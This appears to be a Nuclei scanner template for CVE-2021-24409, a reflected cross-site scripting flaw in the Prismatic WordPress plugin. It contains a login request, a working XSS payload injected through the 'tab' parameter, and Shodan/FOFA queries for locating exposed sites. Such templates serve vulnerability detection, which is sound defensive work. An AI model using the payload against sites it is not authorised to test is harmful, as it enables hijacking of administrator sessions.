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id : CVE-2021-24409
info :
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name : Prismatic < 2.8 - Cross-Site Scripting
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author : Harsh
severity : medium
description : |
The plugin does not escape the 'tab' GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator
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impact : |
Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking.
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remediation : Fixed in version 2.8
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reference :
- https://wpscan.com/vulnerability/ae3cd3ed-aecd-4d8c-8a2b-2936aaaef0cf
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24409
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
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cve-id : CVE-2021-24409
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cwe-id : CWE-79
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epss-score : 0.00171
epss-percentile : 0.54048
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cpe : cpe:2.3:a:plugin-planet:prismatic:*:*:*:*:*:wordpress:*:*
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metadata :
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verified : true
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max-request : 2
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vendor : plugin-planet
product : prismatic
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framework : wordpress
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shodan-query : http.html:/wp-content/plugins/prismatic
fofa-query : body=/wp-content/plugins/prismatic
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publicwww-query : "/wp-content/plugins/prismatic"
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tags : cve2021,cve,wpscan,wordpress,wp,wp-plugin,xss,prismatic,authenticated,plugin-planet
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http :
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- raw :
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- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
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GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22 HTTP/1.1
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Host : {{Hostname}}
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matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
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- 'contains(header_2, "text/html")'
- 'contains(body_2, "Leave A Review?")'
- 'contains(body_2, "onanimationend=alert(document.domain)")'
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condition : and
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# digest: 4b0a00483046022100f3b6393f38c382ea7ce0abcf70deef44f182fcd4065ccf2fad781fc835d80a0f0221009809a88c0d01b87cd8335a7a367389737021ea22bbaca6405ab5864aca886c85:922c64590222798bb761d5b6d8e72950